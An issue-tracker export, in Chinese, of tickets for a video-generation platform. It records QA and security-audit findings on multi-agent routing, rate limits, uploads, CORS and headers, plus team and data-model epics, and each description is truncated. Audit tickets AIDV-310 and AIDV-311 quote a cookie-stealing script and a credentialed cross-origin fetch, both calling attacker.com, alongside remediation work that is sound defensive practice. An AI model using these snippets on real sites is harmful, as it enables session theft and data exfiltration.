描述： ## 探查來源 aidv-qa-explore R16 · 多代理創作者需求評估（2026-06-22 03:02 UTC） ## 問題描述 \*\*類別：多代理資源競爭 / 配額公平性缺口\*\* AIDV-273 記錄了「用量儀表板完全不透明」，本票為更深一層的\*\*多代理場景\*\*： \* 企業客戶部署多個 AI Agent（影片生成 Agent、行銷自動化 Agent、A/B 測試 Agent）共用同一組 API credential \* 目前系統的配額追蹤粒度僅到 `userId` 層級，無 `clientId` / `agentId` 區分 \* \*\*問題\*\*：當月配額耗盡時，無從得知是哪個代理消耗的；某代理 bug loop 可以把整個帳號的配額吃光而無告警 \*\*復現場景\*\*： `` User A 帳號下部署： Agent-Marketing（呼叫 videoProject.create 100次/小時） Agent-ABTest（呼叫 videoProject.generate 50次/小時） Agent-Campaign（呼叫 vide

程式碼錨點：（碼中無 AIDV-290 註記）

## AIDV-291 [QA探查R16] /video SSE job 訂閱無 agent namespace：多代理並行訂閱時事件廣播混流，Agent-A 收到 Agent-B 的 job 完成通知

故事 · Backlog · 優先 High · labels multi-agent,qa-explore,routing-gap,sse,video,wave-i

描述： ## 探查來源 aidv-qa-explore R16 · 多代理創作者需求評估（2026-06-22 03:02 UTC） ## 問題描述 \*\*類別：多代理事件隔離缺口（UX Gap + 安全邊界）\*\* 目前 `~/video` SSE endpoint 訂閱 job 進度時，使用 `jobId` 作為 channel key。在多代理場景中： \*\*問題 1 — 廣播洩漏\*\*：若同一 `userId` 底下有多個代理訂閱不同 `jobId`，理論上 server 端的 `userId-scope` SSE channel 可能廣播到同帳號下所有訂閱者。 \*\*問題 2 — 缺乏 `agentId` filter\*\*： `` Agent-Marketing 訂閱 SSE(jobId=job-A) Agent-ABTest 訂閱 SSE(jobId=job-B) -> 兩個 agent 都連接到 /api/video/sse?userId=U-123 -> 若 server 端以 `userId` 做 pub/sub 而非精確 `jobId` channel -> 事件交

程式碼錨點：（碼中無 AIDV-291 註記）

## AIDV-292 [資安巡檢C4] /video job 建立端點無 rate limiting：單一帳號可無限觸發 LLM 生成任務——資源耗盡攻擊（ReDoS/LLM-DoS）

漏洞 · Backlog · 優先 High · labels C4,decision,dos,healing-studio,rate-limit,security,wave-i

描述： ## 探查來源 healing-studio-sec-patrol C4 · 系統性安全巡檢（2026-06-22 03:08 UTC） ## 漏洞描述 \*\*類別：Unrestricted Resource Consumption（OWASP API4:2023）\*\* `~/video` tRPC 端點 `videoProject.generate` 目前無任何速率限制： \* \*\*無 per-user rate limit\*\*：同一 `userId` 可在極短時間內觸發數十個 LLM 生成任務 \* \*\*無 per-IP rate limit\*\*：若 JWT 竊取，攻擊者可用被盜帳號大量觸發付費 API 呼叫 \* \*\*無 concurrent job limit\*\*：同一用戶可並行觸發多個 `videoProject.generate`，每個都觸發 Fal.ai API 呼叫（付費） \*\*攻擊向量\*\*： `` 攻擊者取得有效 JWT（參考 AIDV-230 refresh token 劫持） -> 在 1 分鐘內呼叫 videoProject.gener

程式碼錨點：（碼中無 AIDV-292 註記）

## AIDV-293 [資安巡檢C4] /video tRPC input 無深度/大小限制：巢狀 JSON payload 可觸發 ReDoS / Stack Overflow（Billion Laughs pattern）

漏洞 · Backlog · 優先 High · labels C4,dos,healing-studio,input-validation,security,wave-i

描述： ## 探查來源 healing-studio-sec-patrol C4 · 系統性安全巡檢（2026-06-22 03:08 UTC） ## 漏洞描述 \*\*類別：Input Validation Bypass / Algorithmic Complexity Attack\*\* tRPC 預設接受任意深度的 JSON body。 `~/video` 端點（如 `videoProject.create`、`director.analyzeScriptOverview`）接受複雜的 nested input，未設任何： \* \*\*JSON 深度限制\*\*（`json-parse-depth`） \* \*\*payload 大小上限\*\*（Express `limit`，超過 1MB 的腳本） \* \*\*Zod schema depth limit\*\*（嵌套 object 可繞過 zod 正常路徑） \*\*攻擊 payload（Billion Laughs JSON）\*\*： `` json { "segments": [ { "content": "a".repeat(

程式碼錨點：（碼中無 AIDV-293 註記）

## AIDV-294 [opt] DoS 防線三合一收斂：rate limiting + input size limit + concurrent job cap——一次 PR 收斂 AIDV-292/293，消除 LLM-DoS / ReDoS 向量

故事 · Backlog · 優先 High · labels C4,dos,opt,security,wave-i

描述： ## 優化來源 aidv-optimize-hourly · 四模態收割（2026-06-22 03:16 UTC） \*\*收割來源\*\*： \* healing-studio-sec-patrol C4：AIDV-292（rate limiting 缺失）、AIDV-293（input size/depth 缺失） \* 交叉驗證：AIDV-265（DoS 加固，前期 backlog）、AIDV-229（file upload，同類防線） ## 優化目標 一個 PR 同時解決三個 /video 端點的資源濫用向量： ### Layer 1 — Express 請求大小限制（AIDV-293） ``typescript // server/app.ts

app.use(express.json({ limit: '512kb' })); app.use(express.urlencoded({ extended: true, limit: '512kb' })); `` ## Layer 2 — tRPC Zod schema max() 全面補齊

程式碼錨點：（碼中無 AIDV-294 註記）

## AIDV-295 [opt] 多代理可觀測性三合一收斂：X-Request-ID tracing + SSE job-level namespace + Last-Event-ID——一次 PR 收斂 AIDV-289/291，解鎖企業多代理場景

故事 · 進行中 · 優先 High · labels multi-agent,opt,sse,tracing,wave-i

描述： ## 優化來源 aidv-optimize-hourly · 四模態收割（2026-06-22 03:16 UTC） \*\*收割來源\*\*： \* aidv-qa-explore R16：AIDV-289（X-Request-ID tracing）、AIDV-291（SSE namespace） \* 現有 SFD 佇列交叉驗證：AIDV-268（headless API）、AIDV-269（webhook） ## 優化目標 一個 PR 將 /video 端點從「單用戶黑盒」升級為「多代理友好」可觀測系統。 ### 改動 1 — X-Request-ID tracing middleware（AIDV-289） ``typescript // server/trpc.ts — 在 createContext 加入 export const createContext = ({ req, res }: CreateNextContextOptions) => { const requestId = req.headers['x-request-id']?

程式碼錨點：（碼中無 AIDV-295 註記）

## AIDV-296 Wave T：團隊運作與管理（組別型 · 把治理零件整合成可實際運作的團隊）

大型工作 · Backlog · 優先 Medium · labels internal,team-ops,wave-t

描述： > \*\*這是什麼\*\*：Bruce 2026-06-22 指示「也必須思考團隊運作與管理要怎麼實際實踐與整合」後的定盤。本 Epic 是\*\*團隊運作與管理的整合層（傘）\*\*：把散在各 Wave 的治理零件（RBAC／稽核／資料治理／配額／協作／Skill 信任）串成「一套真的能運作的團隊」，並補上目前缺的\*\*組織模型、統一管理台、人的 SOP\*\*。白話：零件已經有了，這張卡負責讓它們變成可以實際拿來管團隊的東西。（T=Team） ## 一、運作模型（2026-06-22 Bruce 拍板） \* \*\*採「組別型」\*\*：以「組別」為單位——\*\*組內共享、組間隔離\*\*。**組別**是專案／資產／提示詞／配額／成本的歸屬單位。 \* \*\*與既有預設的對齊\*\*： \* \*\*AIDV-121\*\* 原預設「分專案／分成員邊界（互通再放寬）」-> 現在在其資料層 RBAC 引擎之上，\*\*把『組別』定為主要共享範圍\*\*：同組看得到、跨組擋下。121 引擎不動，Wave T 定義它強制的範圍單位。 \* \*\*AIDV-124\*\* 原預設「只可視、不強制配額」-> 組別型 + Wave

程式碼錨點：（碼中無 AIDV-296 註記）

## AIDV-297 T-1 組別模型 + 角色／Admin 定盤（組別實體 · 真實職責角色 · 誰是 Admin）

故事 · Backlog · 優先 Medium · 父卡 AIDV-296 · labels internal,org-model,rbac,wave-t

描述： \*\*Wave T 地基卡\*\*：把「組別型」運作模型落成資料模型——這是 T-2 管理台、T-4 配額、整個團隊運作的底。 ## 範圍 \* \*\*組別實體\*\*：member—group（可多對多）；project／asset／prompt／教材 歸屬到組別；組間預設隔離（接 AIDV-121 RBAC 引擎，組別 = 其強制範圍單位）。 \* \*\*角色對應真實職責\*\*：在 owner/editor/viewer（121）之上，定義組別內角色與跨組別的 Admin／Owner。 \* \*\*Admin 定義\*\*：明確「誰能」——Skill 信任升級放行（AIDV-129）、配額調整（T-4）、資料調閱（122/123）、成員增刪改組。小團隊可先 Bruce 單一 Admin，保留可委派。 \* \*\*成員離開\*\*：沿用 AIDV-121 資產移轉，補「離開組別」的歸屬處理。 ## 完成定義 \* 可建立組別、把成員／專案歸到組別；跨組別在 API 層擋（不只 UI）。 \* 角色與 Admin 權限有明確矩陣，且被 T-2／T-4 引用。 ## 關聯 父 Epic \*\*

程式碼錨點：（碼中無 AIDV-297 註記）

## AIDV-298 T-2 統一管理台 Admin Console（成員／角色／組別／配額／成本／稽核／資料治理／Skill 信任一站管理）

故事 · Backlog · 優先 Medium · 父卡 AIDV-296 · labels admin-console,internal,wave-t

描述： \*\*Wave T 整合卡\*\*：把散在各處的治理零件收進一個 Admin 介面，讓「管理」從理論變成真的能點。 ## 範圍（多為既有能力的彙整面，非重做後端） \* 成員／角色／組別管理（接 T-1）。 \* 配額與成本儀表板（接 T-4／AIDV-124／AIDV-14）。 \* 稽核檢視（接 AIDV-123，可依成員／組別／時間過濾、匯出）。 \* 資料治理面板（接 AIDV-122，來源／敏感分級）。 \* Skill 信任與權限放行（接 Wave S AIDV-129）。 \* 入口權限：只有 Admin（T-1 定義）能進。 ## 完成定義 \* Admin 能在一個地方完成上述管理動作，不必各頁面亂找。 \* 非 Admin 看不到管理台（API 層擋）。 ## 關聯 父 Epic \*\*AIDV-296\*\*（Wave T）；成員／角色 T-1；配額／成本 T-4／AIDV-124／AIDV-14；稽核 AIDV-123；資料治理 AIDV-122；Skill AIDV-129；既有 settings Admin RBAC 為前身。

程式碼錨點：（碼中無 AIDV-298 註記）

## AIDV-299 T-3 團隊運作 SOP（成員加入／離開 · 誰能拍板 · 創作端工作流）

故事 · Backlog · 優先 Medium · 父卡 AIDV-296 · labels internal,sop,wave-t,workflow

描述： \*\*Wave T 運作卡（人的層面，不只程式）\*\*：把「團隊實際怎麼跑」釘成看得見的 SOP——對應開發端已有的 AIDV-102，補上團隊／創作端缺的那條。 ## 範圍 \* \*\*成員生命週期 runbook\*\*：加入（邀請->指派角色 + 組別->預設配額->上手）／離開（撤權->資產移轉 121->稽核留痕 123）。 \* \*\*誰能拍板（治理流程）\*\*：配額超支升級、資料調閱請求、Skill 信任升級放行（AIDV-129 的「Admin」= T-1 定義）、跨組別分享例外。 \* \*\*創作端工作流\*\*：團隊使用者把專案從想法->產出->歸檔的一條流（目標導向，呼應 Wave G）；這是 AIDV-102「開發工作流」的創作版對照。 \* 文件鏡像：比照 AIDV-102 放 repo `docs/`，並可在 AIDISC（AIDV-89）討論收斂。 ## 完成定義 \* 新成員可照 runbook 上手；每個「需拍板」情境有明確負責人與流程。 \* 創作端有一條成文、可遵循的工作流。 ## 關聯 父 Epic \*\*AIDV-296\*\*（Wave T）；開發版工作流 A

程式碼錨點：（碼中無 AIDV-299 註記）

## AIDV-300 T-4 組別配額串接（組別 = 配額／成本單位：G-2 政策 × 124 引擎 × 14 歸屬）

故事 · Backlog · 優先 Medium · 父卡 AIDV-296 · labels cost,internal,wave-t

描述： \*\*Wave T 成本整合卡\*\*：把「組別型」與成本／配額接起來——讓每個組別有自己的預算上限與用量可視。 ## 範圍 \* \*\*組別 = 配額／成本歸屬單位\*\*：把 AIDV-14（成本歸屬）、AIDV-124（配額引擎）綁到組別層。 \* 套用 Wave G \*\*G-2 政策數字\*\*（固定 vs 變動、免費範圍、雲端配額）到每個組別。 \* 行為：接近上限預警；超限軟提醒或暫停（可由 Admin 設定，初期可先軟）。 \* 與既有「先估成本->確認->先扣->生成->失敗全額退」閉環一致。 ## 完成定義 \* 每個組別可設預算／配額並顯示用量比例。 \* 超限行為可運作、可由 Admin（T-1）調整。 ## 關聯 父 Epic \*\*AIDV-296\*\*（Wave T）；政策 Wave G G-2（AIDV-286）；配額引擎 AIDV-124；成本歸屬 AIDV-14；AI 問道 AIDV-60；Admin T-1。

程式碼錨點：（碼中無 AIDV-300 註記）

AIDV-301 Wave D：專案資料模型與運作（資料骨幹 · 上下文組裝 · 跨組重用與提示詞共享）

大型工作 · Backlog · 優先 Medium · labels data-model,internal,wave-d

描述：> \*\*這是什麼\*\*：Bruce 2026-06-22 指示「也需要想專案資料怎麼運作，還有提示詞共享機制優化」後的定盤。本 Epic 是\*\*專案資料的骨幹（傘）\*\*：把散在各 Wave 1/2/3 的資料零件收斂成一張清楚的「專案資料模型」，並補上目前最關鍵的缺口——\*\*上下文組裝\*\*（Wave G「AI 抓得到重點」靠它）。同時定義跨專案／跨組別的重用與提示詞共享。白話：這張卡讓「專案裡的資料怎麼存、怎麼串、怎麼餵給 AI、怎麼重用」有一套說得清楚的規則。（D=Data）## 一、共享範圍（2026-06-22 Bruce 拍板）\* \*\*組內共享\*\* + 一層「團隊共享庫」\*\*：日常資源圈在組別內（接 Wave T 組別型）；另設一層\*\*跨組別的精選共享庫\*\*，把好用的提示詞／素材／角色「升級」進去給全團隊共用。不做公開／社群（遠期再議，標`待議`）。## 二、現有資料零件（本 Epic 收斂、不重做接線）| 零件 | 卡 | 在 Wave D 的角色 | | --- | | --- | | --- | | 資料 SSOT + 接線（prompt↔a 程式碼錨點：（碼中無 AIDV-301 註記）

AIDV-302 D-1 專案資料模型 SSOT（物件 · 關聯 · 血統）

故事 · Backlog · 優先 Medium · 父卡 AIDV-301 · labels data-model,internal,wave-d

描述：> \*\*Wave D 地基卡\*\*：把散在各 Wave 的資料物件收斂成一張「專案資料模型」定義——不是重做接線，是把「專案裡有哪些資料、彼此怎麼連」說清楚，給 D-2 上下文、D-4 重用當底。## 範圍 \* \*\*資料物件\*\*：素材／提示詞／角色／場景／分鏡（鏡號為主鍵）／生成結果／教材／世界觀。\* \*\*關聯邊\*\*：prompt↔asset（AIDV-31）、project\_asset\_links（AIDV-9）、角色／場景↔分鏡。\* \*\*血統邊\*\*：哪個 prompt／LoRA／素材生出哪個產出（收斂 AIDV-51），並標 AI 輸出來源（AIDV-122）。\* \*\*歸屬\*\*：每個物件掛到專案、再掛到組別（接 Wave T／AIDV-121）。## 完成定義 \* 有一份清楚的資料物件＋關聯圖（可當 schema／文件 SSOT）。\* D-2／D-4 都引用同一份定義，不各自定義。## 關聯父 Epic \*\*AIDV-301\*\*（Wave D）；Wave 1 AIDV-31；AIDV-9；血統 AIDV-51；治理 AIDV-122 程式碼錨點：（碼中無 AIDV-302 註記）

AIDV-303 D-2 專案上下文組裝（把專案脈絡組成 context 餵 AI · Wave G 關鍵層）

故事 · Backlog · 優先 Medium · 父卡 AIDV-301 · labels context,internal,wave-d

描述：> \*\*Wave D 關鍵卡（目前無卡，Wave G 成敗在此）\*\*：把「專案脈絡」自動組成餵給 AI 的 context——這就是 Wave G「目標導向、AI 抓得到重點」實際運作的那一層。## 範圍 \* \*\*組裝來源\*\*：從 D-1 的資料模型抓相關物件（本鏡的角色／場景／前後鏡／世界觀／教材）。\* \*\*取捨與壓縮\*\*：只放相關的、控制長度（避免塞爆、跑題）。\* \*\*脫敏\*\*：依 AIDV-122 敏感分級過濾後再進 context（context 封包脫敏）。\* \*\*邊界\*\*：只組裝該成員／組別看得到的資料（接 Wave T／AIDV-121）。\* \*\*可追\*\*：記錄這次生成用了哪些 context（接 D-1 血統）。## 完成定義 \* 生成時系統能自動帶對的專案脈絡，AI 產出明顯更貼專案。\* context 不含越權或敏感資料。## 關聯父 Epic \*\*AIDV-301\*\*（Wave D）；資料模型 D-1；目標導向 Wave G（AIDV-284）；脫敏／治理 AIDV-122；邊界 AIDV-121；血統 AID 程式碼錨點：（碼中無 AIDV-303 註記）

AIDV-304 D-3 資料生命週期（草稿／進行／歸檔 · 版本 · 清理）

故事 · Backlog · 優先 Medium · 父卡 AIDV-301 · labels internal,lifecycle,wave-d

描述：> \*\*Wave D 整合卡\*\*：把專案資料的「從生到死」釘清楚——整合已有的版本化／清理，補上狀態與保存規則。## 範圍 \* \*\*狀態\*\*：草稿->進行->歸檔（封存後唯讀、可還原）。\* \*\*版本／快照\*\*：接 AIDV-66，重要產出可回溯。\* \*\*清理\*\*：接 AIDV-67 孤兒清理；定義 TTL／暫存到期。\* \*\*與配額\*\*：歸檔／清理影響儲存用量（接 Wave T T-4／G-1 儲存）。## 完成定義 \* 專案／資產有明確狀態與保存規則；孤兒與過期可自動處理。## 關聯父 Epic \*\*AIDV-301\*\*（Wave D）；版本化 AIDV-66；清理 AIDV-67；儲存 G-1（AIDV-285）；組別配額 T-4（AIDV-300）。 程式碼錨點：（碼中無 AIDV-304 註記）

AIDV-305 D-4 跨專案/跨組別重用 + 團隊共享庫（組內共用 · 精選升級跨組）

故事 · Backlog · 優先 Medium · 父卡 AIDV-301 · labels internal,reuse,wave-d

描述：> \*\*Wave D 共享層卡\*\*：把 2026-06-22 拍板的「組內 + 團隊共享庫」做實——日常組內共用，精選資源升級成跨組共享。## 範圍 \* \*\*組內跨專案重用\*\*：同組別內，素材／角色／提示詞可跨自己的專案重用。\* \*\*團隊共享庫（跨組精選）\*\*：把好用的資源「升級」進一層全團隊可見的精選庫；誰能升級 = Admin（Wave T T-1）。\* \*\*隔離預設\*\*：未升級的一律組間隔離（接 Wave T 組別型／AIDV-121）。\* \*\*重用即引用\*\*：重用時保留來源／血統（接 D-1），不是亂複製。## 完成定義 \* 組內可重用；精選資源可進團隊共享庫並被別組取用；跨組預設仍隔離。## 關聯父 Epic \*\*AIDV-301\*\*（Wave D）；組別型 Wave T（AIDV-296／297）；RBAC AIDV-121；跨專案權限 Wave S S-6（AIDV-131）；模型 D-1；提示詞用法見 D-5。 程式碼錨點：（碼中無 AIDV-305 註記）

AIDV-306 D-5 提示詞共享機制優化（標籤/搜尋/評分 · 模板變數 · 組內分享 + 精選跨組）

故事 · Backlog · 優先 Medium · 父卡 AIDV-301 · labels internal,prompt,wave-d

描述：> \*\*Wave D 提示詞卡（優化既有、不重做）\*\*：把現有的提示詞庫從「存著」變成「真的好用、好分享」。## 範圍 \* \*\*庫的優化\*\*：promptVault（AIDV-107）加標籤／搜尋／評分；G-3 自動收集（AIDV-287）的提示詞自動入庫。\* \*\*模板／變數提示\*\*：可參數化的提示模板（接 Skill manifest S-1／AIDV-126）。\* \*\*分享範圍\*\*：組內共享為主；精選提示詞可升級進 D-4 團隊共享庫跨組共用。\* \*\*跨專案重用\*\*：好提示詞可跨自己專案套用（接 D-4）。## 完成定義 \* 提示詞可被搜到、標籤分類、評分；組內可分享、精選可跨組。## 關聯父 Epic \*\*AIDV-301\*\*（Wave D）；promptVault AIDV-107；自動收集 G-3（AIDV-287）；共享庫 D-4（AIDV-305）；Skill manifest S-1（AIDV-126）；prompt↔asset Wave 1（AIDV-31）。 程式碼錨點：（碼中無 AIDV-306 註記）

AIDV-307 [QA探查R17] /video videoProject 列表無分頁：重度用戶百支影片全量載入——記憶體噴發 + 首屏空白超過 10 秒  
漏洞 · Backlog · 優先 Medium  
描述： ## 探查來源 aidv-qa-explore R17 · /video endpoint 多代理創作者走查 (2026-06-22 04:08 UTC) ## 問題描述 \*\*類別：性能 gap / UX 阻塞\*\*  
`videoProject.list` tRPC endpoint 返回該用戶\*\*所有\*\* videoProject，無任何分頁 (cursor/offset)，也無搜尋/篩選能力： 1. 用戶 30 天生成了 80 支影片  
-> `videoProject.list` 回傳 80 個物件 (含 `outputUrl`、`scriptContent` 等大欄位) 2. 前端把全部 80 筆轉成 React state -> 首屏 re-render 卡頓 3.  
重度接案者 (R17 場景：50 個客戶 × 3 版本 = 150 個 project) -> 單一請求回傳 150 × ≈ 5KB = 750KB JSON 4. 無搜尋功能 -> 找舊影片要滾動整頁  
\*\*多代理評估 (4 人格) \*\*： |人格|評估||---|---||新  
程式碼錨點： (碼中無 AIDV-307 註記)

AIDV-308 [QA探查R17] /video SSE 斷線無狀態恢復：連線中斷後創作者不知 job 結果——須重整頁面才能取得完成通知  
故事 · Backlog · 優先 Medium  
描述： ## 探查來源 aidv-qa-explore R17 · /video endpoint 多代理創作者走查 (2026-06-22 04:08 UTC) ## 問題描述 \*\*類別：UX gap /  
多代理可靠性缺口\*\* 影片生成過程 (平均 3–8 分鐘) 中，SSE 連線可能因網路波動、頁面切換或行動裝置省電中斷。斷線後： 1. `EventSource` 重連後  
channel key 失效 (AIDV-291 尚未修) 2. job 仍在後端跑，但前端看不到 3. 完成事件遺失，創作者不知道 4. 多代理場景：Agent 卡在 `await jobComplete`  
永遠不繼續 \*\*多代理評估 (4 人格) \*\*： |人格|評估||---|---||新手 |raise：「進度停在 60%，等了 10 分鐘才去重整，才知道其實早完成了」 ||  
接案者 |raise：「手機網路不穩，每次都要手動重整確認」 ||品牌方 |blocker：「企業 VPN 重連常斷 SSE，不能靠重整頁面確認完成」 ||技術型創作者 |  
程式碼錨點： (碼中無 AIDV-308 註記)

AIDV-309 [QA探查R17] /video 無影片專案複製/模板功能：重複型創作者每次從空白開始——系列化影片無路由可走  
故事 · Backlog · 優先 Medium  
描述： ## 探查來源 aidv-qa-explore R17 · /video endpoint 多代理創作者走查 (2026-06-22 04:08 UTC) ## 問題描述 \*\*類別：路由 gap / Wave D-1  
先決條件缺口\*\* 創作者需要反覆製作同系列影片，目前 `/video` 無任何模板或複製機制： 1. 無「以此為模板」功能 2.  
無「複製專案」功能——每次新建都從空白開始 3. 多代理場景：Agent 批次生成系列影片 (10 集  
YouTube)，每次都要重傳完整參數，無法引用「基準模板」 4. Wave D-1 SSOT 前提：模板應是資料實體，但 `/video` 路由層完全沒有此概念  
\*\*多代理評估 (4 人格) \*\*： |人格|評估||---|---||新手 |raise：「每次都要手動貼一樣的設定」 ||接案者 |blocker：「每月替品牌做 4  
支系列廣告，格式一樣，沒有模板要重複填 4 次」 ||品牌方 |blocker：「年度系列需要統一模板，沒有這功能不能做系列化內容」 ||技  
程式碼錨點： (碼中無 AIDV-309 註記)

AIDV-310 [資安巡檢C5] /video 檔案上傳 MIME 類型未驗證：攻擊者可上傳 .html/.js 偽裝 image/mp4——CDN 直連時觸發  
XSS / JS 執行  
漏洞 · Backlog · 優先 Medium  
描述： ## 探查來源 healing-studio-sec-patrol C5 · 系統性安全巡檢 (2026-06-22 04:13 UTC) ## 漏洞描述 \*\*類別：Unrestricted File Upload (OWASP  
A05:2021 — Security Misconfiguration) \*\* `/video` 影片素材上傳端點 (`videoAsset.upload`) 目前僅依靠 `Content-Type` header  
或副檔名判斷檔案類型，未進行 magic bytes 驗證： \*\*攻擊向量\*\*： `` 1. 攻擊者建立一個內容為 HTML 的檔案，副檔名為 .jpg： File: payload.jpg  
Content: <html><script>fetch('https://attacker.com/'+document.cookie)</script></html> MIME: image/jpeg (偽造 header) 2. 上傳至 /video 素材端點 ->  
通過副檔名/Content-Type 驗證 3. CDN  
程式碼錨點： (碼中無 AIDV-310 註記)

AIDV-311 [資安巡檢C5] /video CORS 配置過於寬鬆：Access-Control-Allow-Origin 允許任意來源請求帶  
credentials——跨站讀取 tRPC 敏感回應  
漏洞 · Backlog · 優先 Medium  
描述： ## 探查來源 healing-studio-sec-patrol C5 · 系統性安全巡檢 (2026-06-22 04:13 UTC) ## 漏洞描述 \*\*類別：Misconfigured CORS (OWASP  
A05:2021) \*\* 若 `/video` tRPC server 的 CORS 配置允許 `credentials: true` 同時搭配寬鬆的 `origin` 設定，攻擊者可從惡意網站跨域讀取認證用戶的 tRPC  
回應： \*\*攻擊場景\*\*： ``javascript // attacker.com 惡意頁面 fetch('https://director.today/trpc/videoProject.list', { credentials: 'include', //  
帶入受害者的 session cookie headers: { 'Content-Type': 'application/json' } }) .then(r => r.json()) .then(data => { // data 包含受害者所有影片專案  
程式碼錨點： (碼中無 AIDV-311 註記)

AIDV-312 [資安巡檢C5] /video HTTP 安全 header 不完整：缺少 HSTS / X-Frame-Options /  
Permissions-Policy——點擊劫持 + 降級攻擊向量開放  
漏洞 · Backlog · 優先 Medium  
描述： ## 探查來源 healing-studio-sec-patrol C5 · 系統性安全巡檢 (2026-06-22 04:13 UTC) ## 漏洞描述 \*\*類別：Security Headers  
Deficiency (OWASP A05:2021) \*\* `/video` server 回應可能缺少以下必要安全 header (AIDV-283 僅新增了 CSP，其餘 header 審查缺口未覆蓋)： ###  
A) 缺少 HSTS (Strict-Transport-Security) `` 攻擊：用戶在咖啡廳 Wi-Fi 首次訪問 http://director.today -> 若無 HSTS，攻擊者可 MITM 攔截並降級到 HTTP  
-> session cookie 明文傳輸 (若 cookie 無 Secure flag) `` 建議： `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload` ### B)  
缺少 X-Frame-Options / fr  
程式碼錨點： (碼中無 AIDV-312 註記)

AIDV-313 [opt] Security Headers 全收斂：CSP + HSTS + X-Frame-Options + CORS allowlist + nosniff——一次 PR 收斂  
AIDV-283/311/312，關閉 C3/C5 XSS + 降級 + CORS 向量  
故事 · 進行中 · 優先 Medium  
描述： ## 優化來源 aidv-optimize-hourly · 四模態收割 (2026-06-22 04:27 UTC) \*\*收割來源\*\*： \* healing-studio-sec-patrol C3：AIDV-283 (toast XSS  
-> CSP header) — 已 SFD \* healing-studio-sec-patrol C5：AIDV-311 (CORS 反射 origin)、AIDV-312 (缺少  
HSTS/X-Frame-Options/Permissions-Policy) — 新建 \* 交叉驗證：AIDV-265 (DoS，同一 middleware 層) ## 優化目標 一個 PR 把 server 的 security  
middleware 從「僅有 CSP (AIDV-283 SFD)」升級為完整的安全 header 套件，同時修正 CORS 配置： ### 改動 1 — 完整 Security Headers middleware  
``typescript // server/middleware/securityHead  
程式碼錨點： (碼中無 AIDV-313 註記)

AIDV-314 [opt] /video 列表效能 + SSE 可靠性雙收斂：cursor 分頁 + 斷線輪詢回退——一次 PR 收斂  
AIDV-307/308，解鎖重度創作者留存

故事 · 進行中 · 優先 Medium

描述：## 優化來源 aidv-optimize-hourly · 四模態收割 (2026-06-22 04:27 UTC) \*\*收割來源\*\*： \* aidv-qa-explore R17：AIDV-307 (list 無分頁)、AIDV-308 (SSE 斷線無恢復) \* 現有 SFD 佇列：AIDV-295 (多代理可觀測性，SSE 可靠性同一軌道) \* 模態交叉：AIDV-240 (script token 回饋，同為創作者核心 UX) ## 優化目標 一個 PR 同時修復兩個嚴重影響創作者留存的基礎問題：### 改動 1 — videoProject.list cursor 分頁 (AIDV-307) ```typescript // server/routers/video.ts videoProject.list: protectedProcedure .input(z.object({ cursor: z.string().optional(), limit: z.number().min(1).max(50).default(20), searc

程式碼錨點：(碼中無 AIDV-314 註記)

AIDV-315 [opt] 檔案上傳安全全收斂：magic bytes 驗證 + SVG 拒絕 + CDN nosniff——一次 PR 收斂 AIDV-310，關閉 C5 Unrestricted Upload 向量

故事 · 進行中 · 優先 Medium

描述：## 優化來源 aidv-optimize-hourly · 四模態收割 (2026-06-22 04:27 UTC) \*\*收割來源\*\*： \* healing-studio-sec-patrol C5：AIDV-310 (MIME 類型未驗證 -> XSS) — 新建 \* 現有 backlog：AIDV-229 (檔案上傳，同一入口層) \* C3 收斂：AIDV-283 SFD (XSS 防線，MIME 驗證是第二道) \* Wave G-1：個人儲存空間，上傳安全是前提 ## 優化目標 一個 PR 在上傳 pipeline 第一關加入 magic bytes 驗證，阻斷偽裝 MIME 的惡意檔案進入系統：### 改動 1 — 新建 validateFileType 工具函數 ```typescript // server/services/fileValidation.ts (新建) import { fileTypeFromBuffer } from 'file-type'; const ALLOWED\_TYPES = new Set([ 'image/j

程式碼錨點：(碼中無 AIDV-315 註記)

AIDV-316 [QA探查R18] /video 多代理並行編輯同一專案無並發控制：後寫覆蓋前寫——多代理協作場景下資料靜默損毀

故事 · Backlog · 優先 High · labels concurrency,multi-agent,qa-explore

描述：## 探查來源 QA 探查輪次 R18 · 多代理創作者需求評估 ## 問題描述 當兩個以上 AI Agent 同時對同一個 videoProject 進行寫入 (如 Agent-A 更新腳本、Agent-B 更新風格參數)，目前後端無任何樂觀鎖 (optimistic lock)、版本戳 (version stamp) 或衝突偵測機制。結果是「後寫覆蓋先寫」(last-write-wins)，先完成的 Agent 修改被靜默丟棄，且無任何錯誤回報給呼叫方。 ## 影響場景 \* Wave T 多組別協作場景：A 組 Agent 負責腳本、B 組 Agent 負責影像——並行寫入時必然發生覆蓋 \* 自動化管理線 (aidv-autodev-hourly) 若並行提交多個子任務結果到同一專案，資料損毀率 = 100% ## 驗證步驟 1. 建立一個 videoProject 2. 同時發送兩個 tRPC mutation (`videoProject.update`)，攜帶不同欄位 3. 讀取結果——確認其中一個修改是否被靜默丟棄 ## 路由缺口 (對照 AIDV-1

程式碼錨點：(碼中無 AIDV-316 註記)

AIDV-317 [QA探查R18] /video 缺少代理能力登記表 (Agent Capability Registry)：任務路由盲派——多代理系統無法最佳派工

故事 · Backlog · 優先 High · labels architecture,multi-agent,qa-explore,routing

描述：## 探查來源 QA 探查輪次 R18 · 多代理創作者需求評估 · 路由缺口分析 ## 問題描述 目前 /video 端點在接受任務請求時，完全沒有「代理能力登記」機制。系統不知道： \* 哪個 Agent 專長腳本生成 vs. 視覺渲染 vs. 語音合成 \* 哪個 Agent 當前負載狀態 (繁忙/空閒) \* 哪個 Agent 的 token 預算足夠承接此任務 結果：任務由提交的 Agent 自行執行，無法依能力/負載/成本做智慧派工。重度創作者的複雜任務 (多模態 + 長影片) 常由不適合的 Agent 承接，導致低品質輸出或超額收費。 ## 路由缺口 (對照 AIDV-102 工作流程) AIDV-102 定義了「階0 進站」但未定義「哪個代理進哪道站」的路由邏輯。當前路由 = 無路由 (誰呼叫誰執行)。 ## 影響場景 \* aidv-autodev-hourly 取票後，若有 10 張 Backlog 票應分派給 5 個代理，系統無法判斷最優分派 \* Wave G 多模態輸入 (AIDV-270) 需要專長代理，盲派導致能力不符 ## 建議修復方向 \*

程式碼錨點：(碼中無 AIDV-317 註記)

AIDV-318 [QA探查R18] /video 代理交接無正式紀錄：子任務完成後無交棒協議——多代理管線斷鏈

故事 · Backlog · 優先 Medium · labels audit,multi-agent,observability,qa-explore

